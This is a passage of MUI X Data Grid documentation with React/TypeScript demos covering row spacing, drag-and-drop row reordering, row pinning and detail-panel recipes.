  columns: GridColDef[];
  rows: DataRowModel[];
}

function useData(rowLength: number, columnLength: number) {
  const [data, setData] = React.useState<GridData>({ columns: [], rows: [] });

  React.useEffect(() => {
    const rows: DataRowModel[] = [];

    for (let i = 0; i < rowLength; i += 1) {
      const row: DataRowModel = {
        id: i,
      };

      for (let j = 1; j <= columnLength; j += 1) {
        row[`price${j}M`] = `${i.toString()}, ${j} `;
      }

      rows.push(row);
    }

    const columns: GridColDef[] = [];

    for (let j = 1; j <= columnLength; j += 1) {
      columns.push({ field: `price${j}M`, headerName: `${j}M`, width: 55 });
    }

    setData({
      rows,
      columns,
    });
  }, [rowLength, columnLength]);

  return data;
}

export default function VirtualizeColumnsWithAutoRowHeight() {
  const data = useData(100, 100);

  return (
    <div style={{ height: 600, width: '100%' }}>
      <DataGrid
        {...data}
        getRowHeight={() => 'auto'}
        virtualizeColumnsWithAutoRowHeight
      />
    </div>
  );
}

```

## Row density

Give your users the option to change the default row density to match their preferences—compact, standard, or comfortable.
Density is calculated based on the `rowHeight` and/or `columnHeaderHeight` props, when present.
See [Density](/x/react-data-grid/accessibility/#density) for details.

## Row spacing

You can use the `getRowSpacing` prop to increase the spacing between rows.
This prop is called with a [`GridRowSpacingParams`](/x/api/data-grid/grid-row-spacing-params/) object.

```tsx
const getRowSpacing = React.useCallback((params: GridRowSpacingParams) => {
  return {
    top: params.isFirstVisible ? 0 : 5,
    bottom: params.isLastVisible ? 0 : 5,
  };
}, []);
```

```tsx
import * as React from 'react';
import { DataGrid, GridRowSpacingParams, gridClasses } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { grey } from '@mui/material/colors';

export default function RowMarginGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 200,
    maxColumns: 6,
  });

  const getRowSpacing = React.useCallback((params: GridRowSpacingParams) => {
    return {
      top: params.isFirstVisible ? 0 : 5,
      bottom: params.isLastVisible ? 0 : 5,
    };
  }, []);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        getRowSpacing={getRowSpacing}
        sx={(theme) => ({
          [`& .${gridClasses.row}`]: {
            bgcolor: grey[200],
            ...theme.applyStyles('dark', { bgcolor: grey[900] }),
          },
        })}
      />
    </div>
  );
}

```

By default, setting `getRowSpacing` will change the `marginXXX` CSS properties of each row.
To add a border instead, set `rowSpacingType` to `"border"` and customize the color and style.

```tsx
<DataGrid
  getRowSpacing={...}
  rowSpacingType="border"
  sx={{ '& .MuiDataGrid-row': { borderTopColor: 'yellow', borderTopStyle: 'solid' } }}
/>
```

:::success
Adding a bottom margin or border to rows that also have a [detail panel](/x/react-data-grid/master-detail/) is not recommended because the detail panel relies on the bottom margin to work.

As an alternative, you can use the top spacing to define the space between rows.
It's easier to always increase the next row spacing no matter if the detail panel is expanded or not, but you can use `gridDetailPanelExpandedRowIdsSelector` to apply a spacing depending on the open state.
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/row-ordering.md

---
title: Data Grid - Drag-and-drop reordering
---

# Data Grid - Drag-and-drop row reordering [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Data Grid Pro lets users drag and drop rows to reorder them.

By default, users cannot manually rearrange rows in the Data Grid.
With the Data Grid Pro, you can give them the ability to drag and drop rows to reorder them.

## Implementing row reordering

To enable drag-and-drop row reordering, pass the `rowReordering` prop to the Data Grid Pro:

```tsx
<DataGridPro rowReordering />
```

This generates a new column for drag indicators at the start of each row:

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridRowModel,
  GridRowOrderChangeParams,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

function updateRowPosition(
  initialIndex: number,
  newIndex: number,
  rows: Array<GridRowModel>,
): Promise<any> {
  return new Promise((resolve) => {
    setTimeout(
      () => {
        const rowsClone = [...rows];
        const row = rowsClone.splice(initialIndex, 1)[0];
        rowsClone.splice(newIndex, 0, row);
        resolve(rowsClone);
      },
      Math.random() * 500 + 100,
    ); // simulate network latency
  });
}

export default function RowOrderingGrid() {
  const { data, loading: initialLoadingState } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 20,
  });

  const [rows, setRows] = React.useState(data.rows);
  const [loading, setLoading] = React.useState(initialLoadingState);

  React.useEffect(() => {
    setRows(data.rows);
  }, [data]);

  React.useEffect(() => {
    setLoading(initialLoadingState);
  }, [initialLoadingState]);

  const handleRowOrderChange = async (params: GridRowOrderChangeParams) => {
    setLoading(true);
    const newRows = await updateRowPosition(
      params.oldIndex,
      params.targetIndex,
      rows,
    );

    setRows(newRows);
    setLoading(false);
  };

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        rows={rows}
        rowReordering
        onRowOrderChange={handleRowOrderChange}
      />
    </div>
  );
}

```

## Row reordering events

To capture changes in the order of the dragged row, you can pass a callback to the `onRowOrderChange` prop.
This callback is called with a `GridRowOrderChangeParams` object.

Row reordering emits the following events:

- `rowDragStart`: emitted when the user starts dragging a row.
- `rowDragOver`: emitted when the user drags a row over another row.
- `rowDragEnd`: emitted when the user stops dragging a row.

## Customizing the row reordering value

By default, when the user starts dragging a row, its ID is displayed in the draggable box.
To customize this, you can pass a value to the `__reorder__` field for each row, as shown below:

```tsx
const columns: GridColDef[] = [{ field: 'brand' }];

const rows: GridRowsProp = [
  { id: 0, brand: 'Nike', __reorder__: 'Nike' },
  { id: 1, brand: 'Adidas', __reorder__: 'Adidas' },
  { id: 2, brand: 'Puma', __reorder__: 'Puma' },
];

<DataGridPro rows={rows} columns={columns} rowReordering />;
```

## Customizing the drag indicator

To change the icon used in the drag indicator column, you can provide a different component for the [icon slot](/x/react-data-grid/components/#icons):

```tsx
<DataGridPro
  slots={{
    rowReorderIcon: CustomMoveIcon,
  }}
/>
```

Alternatively, you can add a column with `field: __reorder__` to your set of columns.
This enables you to override any of the properties from the `GRID_REORDER_COL_DEF` column.
The Grid will detect that there's already a reordering column defined and so it won't add another one in the default position.
If you only set the `field`, then you must configure the remaining options (such as disabling the column menu, filtering, and sorting).

To get started with this configuration, spread `GRID_REORDER_COL_DEF` when defining the column:

```tsx
<DataGridPro
  columns={[
    {
      ...GRID_REORDER_COL_DEF, // Already contains the right field
      width: 40,
    },
  ]}
/>
```

This approach can also be used to change the location of the toggle column.

:::warning
For now, row reordering is disabled if sorting is applied to the Data Grid.
:::

## Disable reordering of specific rows

To disable reordering of specific rows, you can pass a callback to the `isRowReorderable()` prop.
This callback is called with `row` and `rowNode` objects so that rows can be disabled based on multiple criteria.

```tsx
const isRowReorderable = (params: IsRowReorderableParams) => {
  // Example: Disable reordering if the quantity is greater than 50000
  return params.row.quantity > 50000;
};

<DataGridPro isRowReorderable={isRowReorderable} />;
```

The demo below shows how to disable reordering of specific rows based on the row model.

```tsx
import * as React from 'react';
import { DataGridPro, type IsRowReorderableParams } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const isRowReorderable = (params: IsRowReorderableParams) => {
  return params.row.quantity < 50000;
};

export default function RowReorderingDisabled() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 20,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        rowReordering
        isRowReorderable={isRowReorderable}
      />
    </div>
  );
}

```

## Disable specific reorder operations

Sometimes, the information provided by the source row isn't enough to determine if a reorder operation is valid.
In these cases, you can pass a callback to the `isValidRowReorder()` prop.

This callback is fired _during_ the drag operation so it provides information about the dragged row and the potential position for it to be dropped.
It is called with a `ReorderValidationContext` object so that specific reorder operations can be disabled based on the context.

The demo below prohibits reordering leaf rows under the same parent and only allows cross-parent operations.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridValidRowModel,
  ReorderValidationContext,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const isValidRowReorder = (context: ReorderValidationContext) => {
  if (context.sourceNode.type === 'group') {
    return true;
  }
  if (
    context.targetNode.type === 'group' &&
    context.targetNode.id !== context.sourceNode.parent &&
    context.dropPosition === 'inside'
  ) {
    return true;
  }
  if (context.targetNode.type === 'leaf') {
    return context.sourceNode.parent !== context.targetNode.parent;
  }
  return false;
};

const getTreeDataPath = (row: GridValidRowModel) => {
  return row.path;
};

const setTreeDataPath = (path: string[], row: GridValidRowModel) => {
  return { ...row, path };
};

export default function RowReorderingValidation() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
    treeData: { maxDepth: 2, groupingField: 'name', averageChildren: 4 },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        setTreeDataPath={setTreeDataPath}
        getTreeDataPath={getTreeDataPath}
        loading={loading}
        rowReordering
        isValidRowReorder={isValidRowReorder}
      />
    </div>
  );
}

```

:::warning
The row reorder feature has an internal validation ruleset to ensure that only the supported use cases are allowed.
`isValidRowReorder()` should only be used to add more validation rules.
:::

## Row reordering with tree data

Users can drag and drop rows to move between parents, or convert leaf nodes into parent groups.

For more details, see [Tree data—Drag-and-drop tree data reordering](/x/react-data-grid/tree-data/#drag-and-drop-tree-data-reordering).

## Row reordering with row grouping [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

This feature allows users to reorder rows within grouped data to adjust the order of groups and their contents directly in the grid.

For more details, see [Row grouping—Drag-and-drop group reordering](/x/react-data-grid/row-grouping/#drag-and-drop-group-reordering).

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)
- [GridRowOrderChangeParams](/x/api/data-grid/grid-row-order-change-params/)

---

# Source: https://mui.com/x/react-data-grid/row-pinning.md

---
title: Data Grid - Row pinning
---

# Data Grid - Row pinning [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Implement pinning to keep rows in the Data Grid visible at all times.

Pinned rows (also known as sticky, frozen, and locked) are visible at all times while scrolling the Data Grid vertically.
With the Data Grid Pro, you can pin rows to the top or bottom of the grid.

## Implementing row pinning

Use the `pinnedRows` prop to define the rows to be pinned to the `top` or `bottom` of the Data Grid, as shown below:

```tsx
const pinnedRows: GridPinnedRowsProp = {
  top: [{ id: 0, brand: 'Nike' }],
  bottom: [
    { id: 1, brand: 'Adidas' },
    { id: 2, brand: 'Puma' },
  ],
};

<DataGridPro pinnedRows={pinnedRows} />;
```

### Pinned row data formatting

The data format for pinned rows is the same as for the `rows` prop (see [Feeding data](/x/react-data-grid/row-definition/#feeding-data)).

Pinned rows data should also meet [Row identifier](/x/react-data-grid/row-definition/#row-identifier) requirements.

```tsx
import { DataGridPro, GridPinnedRowsProp, GridColDef } from '@mui/x-data-grid-pro';
import {
  randomCity,
  randomEmail,
  randomId,
  randomInt,
  randomTraderName,
  randomUserName,
} from '@mui/x-data-grid-generator';

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 150 },
  { field: 'city', headerName: 'City', width: 150 },
  { field: 'username', headerName: 'Username' },
  { field: 'email', headerName: 'Email', width: 200 },
  { field: 'age', type: 'number', headerName: 'Age' },
];

const rows: object[] = [];

function getRow() {
  return {
    id: randomId(),
    name: randomTraderName(),
    city: randomCity(),
    username: randomUserName(),
    email: randomEmail(),
    age: randomInt(10, 80),
  };
}

for (let i = 0; i < 10; i += 1) {
  rows.push(getRow());
}

const pinnedRows: GridPinnedRowsProp = {
  top: [getRow(), getRow()],
  bottom: [getRow()],
};

export default function RowPinning() {
  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPro columns={columns} rows={rows} pinnedRows={pinnedRows} />
    </div>
  );
}

```

:::warning
As with the `rows` prop, `pinnedRows` should keep the same reference between two renders.
Otherwise the Data Grid will reapply heavy work like sorting and filtering.
:::

## Controlling pinned rows

You can control which rows are pinned by making dynamic changes to `pinnedRows`.

The demo below uses the `actions` column type to provide buttons that let the user pin a row to the top or bottom of the Grid.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridRowModel,
  GridActionsCellItem,
  GridColDef,
  GridRowId,
  GridActionsCell,
  GridRenderCellParams,
} from '@mui/x-data-grid-pro';
import ArrowUpIcon from '@mui/icons-material/ArrowUpward';
import ArrowDownIcon from '@mui/icons-material/ArrowDownward';
import Tooltip from '@mui/material/Tooltip';
import {
  randomId,
  randomTraderName,
  randomCity,
  randomUserName,
  randomEmail,
} from '@mui/x-data-grid-generator';

const data: GridRowModel[] = [];

function getRow() {
  return {
    id: randomId(),
    name: randomTraderName(),
    city: randomCity(),
    username: randomUserName(),
    email: randomEmail(),
  };
}

for (let i = 0; i < 20; i += 1) {
  data.push(getRow());
}

interface PinnedRowsIds {
  top: GridRowId[];
  bottom: GridRowId[];
}

interface PinningContextValue {
  pinnedRowsIds: PinnedRowsIds;
  pinToBottom: (id: GridRowId) => void;
  pinToTop: (id: GridRowId) => void;
  unpin: (id: GridRowId) => void;
}

const PinningContext = React.createContext<PinningContextValue>({
  pinnedRowsIds: { top: [], bottom: [] },
  pinToBottom: () => {},
  pinToTop: () => {},
  unpin: () => {},
});

function ActionsCell(props: GridRenderCellParams) {
  const { pinnedRowsIds, pinToBottom, pinToTop, unpin } =
    React.useContext(PinningContext);
  const isPinnedTop = pinnedRowsIds.top.includes(props.id);
  const isPinnedBottom = pinnedRowsIds.bottom.includes(props.id);

  if (isPinnedTop || isPinnedBottom) {
    return (
      <GridActionsCell {...props}>
        <GridActionsCellItem
          label="Unpin"
          icon={
            <Tooltip title="Unpin">
              {isPinnedTop ? <ArrowDownIcon /> : <ArrowUpIcon />}
            </Tooltip>
          }
          onClick={() => unpin(props.id)}
        />
      </GridActionsCell>
    );
  }

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        icon={
          <Tooltip title="Pin at the top">
            <ArrowUpIcon />
          </Tooltip>
        }
        label="Pin at the top"
        onClick={() => pinToTop(props.id)}
      />
      <GridActionsCellItem
        icon={
          <Tooltip title="Pin at the bottom">
            <ArrowDownIcon />
          </Tooltip>
        }
        label="Pin at the bottom"
        onClick={() => pinToBottom(props.id)}
      />
    </GridActionsCell>
  );
}

const columns: GridColDef<(typeof data)[number]>[] = [
  {
    field: 'actions',
    type: 'actions',
    width: 100,
    renderCell: (params) => <ActionsCell {...params} />,
  },
  { field: 'name', headerName: 'Name', width: 150 },
  { field: 'city', headerName: 'City', width: 150 },
  { field: 'username', headerName: 'Username' },
  { field: 'email', headerName: 'Email', width: 200 },
];

export default function RowPinningWithActions() {
  const [pinnedRowsIds, setPinnedRowsIds] = React.useState<PinnedRowsIds>({
    top: [],
    bottom: [],
  });

  const { rows, pinnedRows } = React.useMemo(() => {
    const rowsData: GridRowModel[] = [];
    const pinnedRowsData: { top: GridRowModel[]; bottom: GridRowModel[] } = {
      top: [],
      bottom: [],
    };

    data.forEach((row) => {
      if (pinnedRowsIds.top.includes(row.id)) {
        pinnedRowsData.top.push(row);
      } else if (pinnedRowsIds.bottom.includes(row.id)) {
        pinnedRowsData.bottom.push(row);
      } else {
        rowsData.push(row);
      }
    });

    return {
      rows: rowsData,
      pinnedRows: pinnedRowsData,
    };
  }, [pinnedRowsIds]);

  const pinToTop = React.useCallback((id: GridRowId) => {
    setPinnedRowsIds((prevPinnedRowsIds) => ({
      ...prevPinnedRowsIds,
      top: [...prevPinnedRowsIds.top, id],
    }));
  }, []);

  const pinToBottom = React.useCallback((id: GridRowId) => {
    setPinnedRowsIds((prevPinnedRowsIds) => ({
      ...prevPinnedRowsIds,
      bottom: [...prevPinnedRowsIds.bottom, id],
    }));
  }, []);

  const unpin = React.useCallback((id: GridRowId) => {
    setPinnedRowsIds((prevPinnedRowsIds) => ({
      top: prevPinnedRowsIds.top.filter((rowId) => rowId !== id),
      bottom: prevPinnedRowsIds.bottom.filter((rowId) => rowId !== id),
    }));
  }, []);

  const pinningContextValue = React.useMemo<PinningContextValue>(
    () => ({
      pinnedRowsIds,
      pinToTop,
      pinToBottom,
      unpin,
    }),
    [pinnedRowsIds, pinToTop, pinToBottom, unpin],
  );

  return (
    <div style={{ height: 500, width: '100%' }}>
      <PinningContext.Provider value={pinningContextValue}>
        <DataGridPro columns={columns} pinnedRows={pinnedRows} rows={rows} />
      </PinningContext.Provider>
    </div>
  );
}

```

## Pinned rows appearance

By default, the pinned rows sections are separated from non-pinned rows with a border and a shadow that appears when there is scroll.
You can change the appearance by setting the [`pinnedRowsSectionSeparator`](/x/api/data-grid/data-grid-pro/#data-grid-pro-prop-pinnedRowsSectionSeparator) prop to `'border'` or `'border-and-shadow'`.

```tsx
import * as React from 'react';
import FormControl from '@mui/material/FormControl';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Radio from '@mui/material/Radio';
import {
  DataGridPro,
  type GridPinnedRowsProp,
  type GridColDef,
  type DataGridProProps,
} from '@mui/x-data-grid-pro';
import {
  randomCity,
  randomEmail,
  randomId,
  randomInt,
  randomTraderName,
  randomUserName,
} from '@mui/x-data-grid-generator';

type SectionSeparator = NonNullable<DataGridProProps['pinnedRowsSectionSeparator']>;

export default function RowPinningSectionSeparator() {
  const [separator, setSeparator] =
    React.useState<SectionSeparator>('border-and-shadow');

  return (
    <div style={{ width: '100%' }}>
      <FormControl component="fieldset">
        <RadioGroup
          row
          value={separator}
          onChange={(event) => setSeparator(event.target.value as SectionSeparator)}
          name="pinned-columns-section-separator"
        >
          <FormControlLabel
            value="border-and-shadow"
            control={<Radio />}
            label={<code>&quot;border-and-shadow&quot;</code>}
          />
          <FormControlLabel
            value="border"
            control={<Radio />}
            label={<code>&quot;border&quot;</code>}
          />
        </RadioGroup>
      </FormControl>
      <div style={{ height: 500 }}>
        <DataGridPro
          columns={columns}
          rows={rows}
          pinnedRows={pinnedRows}
          pinnedRowsSectionSeparator={separator}
        />
      </div>
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 150 },
  { field: 'city', headerName: 'City', width: 150 },
  { field: 'username', headerName: 'Username' },
  { field: 'email', headerName: 'Email', width: 200 },
  { field: 'age', type: 'number', headerName: 'Age' },
];

const rows: object[] = [];

function getRow() {
  return {
    id: randomId(),
    name: randomTraderName(),
    city: randomCity(),
    username: randomUserName(),
    email: randomEmail(),
    age: randomInt(10, 80),
  };
}

for (let i = 0; i < 10; i += 1) {
  rows.push(getRow());
}

const pinnedRows: GridPinnedRowsProp = {
  top: [getRow(), getRow()],
  bottom: [getRow()],
};

```

## Usage with other features

Pinned rows are not affected by sorting, filtering, or pagination—they remain pinned regardless of how these features are applied.

```tsx
import * as React from 'react';
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function RowPinningWithPagination() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 20,
    editable: true,
  });

  const rowsData = React.useMemo(() => {
    if (!data.rows || data.rows.length === 0) {
      return { rows: data.rows };
    }
    const [firstRow, secondRow, thirdRow, ...rows] = data.rows;
    return {
      rows,
      pinnedRows: {
        top: [firstRow],
        bottom: [secondRow, thirdRow],
      },
    };
  }, [data.rows]);

  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        rows={rowsData.rows}
        pinnedRows={rowsData.pinnedRows}
        initialState={{
          ...data.initialState,
          pagination: {
            ...data.initialState?.pagination,
            paginationModel: { pageSize: 25 },
          },
        }}
        pagination
        pageSizeOptions={[5, 10, 25, 50, 100]}
      />
    </div>
  );
}

```

Pinned rows do not support the following features:

- selection
- row grouping
- tree data
- row reordering
- master-detail row panels

When there are pinned rows present in a Grid, you can still use these features with rows that aren't pinned.

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/row-recipes.md

---
title: Data Grid - Row customization recipes
---

# Data Grid - Row customization recipes

Advanced row customization recipes.

## One expanded detail panel at a time

By default, the [Master-detail row panel <span class="plan-pro" />](/x/react-data-grid/master-detail/) feature supports multiple expanded detail panels simultaneously.

However, you can [control the expanded detail panels](/x/react-data-grid/master-detail/#controlling-expanded-detail-panels) to have only one detail panel expanded at a time.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  DataGridPro,
  DataGridProProps,
  GridRowsProp,
  GridRowId,
  GridColDef,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomCurrency,
  randomEmail,
  randomPrice,
} from '@mui/x-data-grid-generator';

const getDetailPanelContent: DataGridProProps['getDetailPanelContent'] = ({
  row,
}) => <Box sx={{ p: 2 }}>{`Order #${row.id}`}</Box>;
const getDetailPanelHeight: DataGridProProps['getDetailPanelHeight'] = () => 50;

export default function DetailPanelOneExpandedRow() {
  const [detailPanelExpandedRowIds, setDetailPanelExpandedRowIds] = React.useState(
    () => new Set<GridRowId>(),
  );

  const handleDetailPanelExpandedRowIdsChange = React.useCallback<
    NonNullable<DataGridProProps['onDetailPanelExpandedRowIdsChange']>
  >((newIds) => {
    if (newIds.size > 1) {
      const newSet = new Set<GridRowId>();
      const newIdsArray = Array.from(newIds);
      newSet.add(newIdsArray[newIdsArray.length - 1]);
      setDetailPanelExpandedRowIds(newSet);
    } else {
      setDetailPanelExpandedRowIds(newIds);
    }
  }, []);

  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        getDetailPanelContent={getDetailPanelContent}
        getDetailPanelHeight={getDetailPanelHeight}
        detailPanelExpandedRowIds={detailPanelExpandedRowIds}
        onDetailPanelExpandedRowIdsChange={handleDetailPanelExpandedRowIdsChange}
      />
    </Box>
  );
}

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  { field: 'total', type: 'number', headerName: 'Total' },
];

const rows: GridRowsProp = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
];

```

## Expand or collapse all detail panels

The following demo shows how to create a custom header element that expands or collapses all detail panels at once.

Here's how it works:

The custom header uses `gridRowsLookupSelector` to find all rows with a detail panel.
It checks the status of open panels using the [`useGridSelector` hook](/x/react-data-grid/state/#with-usegridselector) to access the grid's state.
When clicked, it uses [`setExpandedDetailPanels`](/x/api/data-grid/grid-api/#grid-api-prop-setExpandedDetailPanels) from the [Grid API](/x/react-data-grid/api-object/#how-to-use-the-api-object) to expand or collapse all detail panels.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import IconButton from '@mui/material/IconButton';
import UnfoldLessIcon from '@mui/icons-material/UnfoldLess';
import UnfoldMoreIcon from '@mui/icons-material/UnfoldMore';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  GridRowParams,
  useGridApiContext,
  useGridSelector,
  gridRowsLookupSelector,
  gridDetailPanelExpandedRowIdsSelector,
  gridDetailPanelExpandedRowsContentCacheSelector,
  GRID_DETAIL_PANEL_TOGGLE_COL_DEF,
  GridRowId,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomCurrency,
  randomEmail,
  randomPrice,
} from '@mui/x-data-grid-generator';

export default function DetailPanelExpandCollapseAll() {
  const getDetailPanelContent = React.useCallback(
    ({ row }: GridRowParams) => <Box sx={{ p: 2 }}>{`Order #${row.id}`}</Box>,
    [],
  );

  const getDetailPanelHeight = React.useCallback(() => 50, []);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        getDetailPanelContent={getDetailPanelContent}
        getDetailPanelHeight={getDetailPanelHeight}
      />
    </div>
  );
}

function CustomDetailPanelHeader() {
  const apiRef = useGridApiContext();

  const expandedRowIds = useGridSelector(
    apiRef,
    gridDetailPanelExpandedRowIdsSelector,
  );
  const rowsWithDetailPanels = useGridSelector(
    apiRef,
    gridDetailPanelExpandedRowsContentCacheSelector,
  );

  const noDetailPanelsOpen = expandedRowIds.size === 0;

  const expandOrCollapseAll = () => {
    if (noDetailPanelsOpen) {
      const dataRowIdToModelLookup = gridRowsLookupSelector(apiRef);
      const allRowIdsWithDetailPanels = new Set<GridRowId>();
      for (const key in rowsWithDetailPanels) {
        if (rowsWithDetailPanels.hasOwnProperty(key)) {
          allRowIdsWithDetailPanels.add(
            apiRef.current.getRowId(dataRowIdToModelLookup[key]),
          );
        }
      }
      apiRef.current.setExpandedDetailPanels(allRowIdsWithDetailPanels);
    } else {
      apiRef.current.setExpandedDetailPanels(new Set());
    }
  };

  const Icon = noDetailPanelsOpen ? UnfoldMoreIcon : UnfoldLessIcon;

  return (
    <IconButton
      size="small"
      tabIndex={-1}
      onClick={expandOrCollapseAll}
      aria-label={noDetailPanelsOpen ? 'Expand All' : 'Collapse All'}
    >
      <Icon fontSize="inherit" />
    </IconButton>
  );
}

const columns: GridColDef[] = [
  {
    ...GRID_DETAIL_PANEL_TOGGLE_COL_DEF,
    renderHeader: () => <CustomDetailPanelHeader />,
  },
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  { field: 'total', type: 'number', headerName: 'Total' },
];

const rows: GridRowsProp = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
];

```

## Toggling detail panels on row click

In the demo below, you can toggle the detail panel by clicking anywhere on the row:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Grid from '@mui/material/Grid';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import {
  DataGridPro,
  DataGridProProps,
  GridColDef,
  GridEventListener,
  useGridApiRef,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomPrice,
  randomCurrency,
  randomCountry,
  randomCity,
  randomEmail,
  randomInt,
  randomAddress,
  randomCommodity,
} from '@mui/x-data-grid-generator';

function DetailPanelContent({ row: rowProp }: { row: Customer }) {
  return (
    <Stack
      sx={{ py: 2, height: '100%', boxSizing: 'border-box' }}
      direction="column"
    >
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 1 }}>
        <Stack direction="column" spacing={1} sx={{ height: 1 }}>
          <Typography variant="h6">{`Order #${rowProp.id}`}</Typography>
          <Grid container>
            <Grid size={{ md: 6 }}>
              <Typography variant="body2" color="textSecondary">
                Customer information
              </Typography>
              <Typography variant="body1">{rowProp.customer}</Typography>
              <Typography variant="body1">{rowProp.email}</Typography>
            </Grid>
            <Grid size={{ md: 6 }}>
              <Typography variant="body2" align="right" color="textSecondary">
                Shipping address
              </Typography>
              <Typography variant="body1" align="right">
                {rowProp.address}
              </Typography>
              <Typography
                variant="body1"
                align="right"
              >{`${rowProp.city}, ${rowProp.country.label}`}</Typography>
            </Grid>
          </Grid>
          <DataGridPro
            density="compact"
            columns={[
              { field: 'name', headerName: 'Product', flex: 1 },
              {
                field: 'quantity',
                headerName: 'Quantity',
                align: 'center',
                type: 'number',
              },
              { field: 'unitPrice', headerName: 'Unit Price', type: 'number' },
              {
                field: 'total',
                headerName: 'Total',
                type: 'number',
                valueGetter: (value, row) => row.quantity * row.unitPrice,
              },
            ]}
            rows={rowProp.products}
            sx={{ flex: 1 }}
            hideFooter
          />
        </Stack>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef<(typeof rows)[number]>[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  {
    field: 'total',
    type: 'number',
    headerName: 'Total',
    valueGetter: (value, row) => {
      const subtotal = row.products.reduce(
        (acc: number, product: any) => product.unitPrice * product.quantity,
        0,
      );
      const taxes = subtotal * 0.05;
      return subtotal + taxes;
    },
  },
];

function generateProducts() {
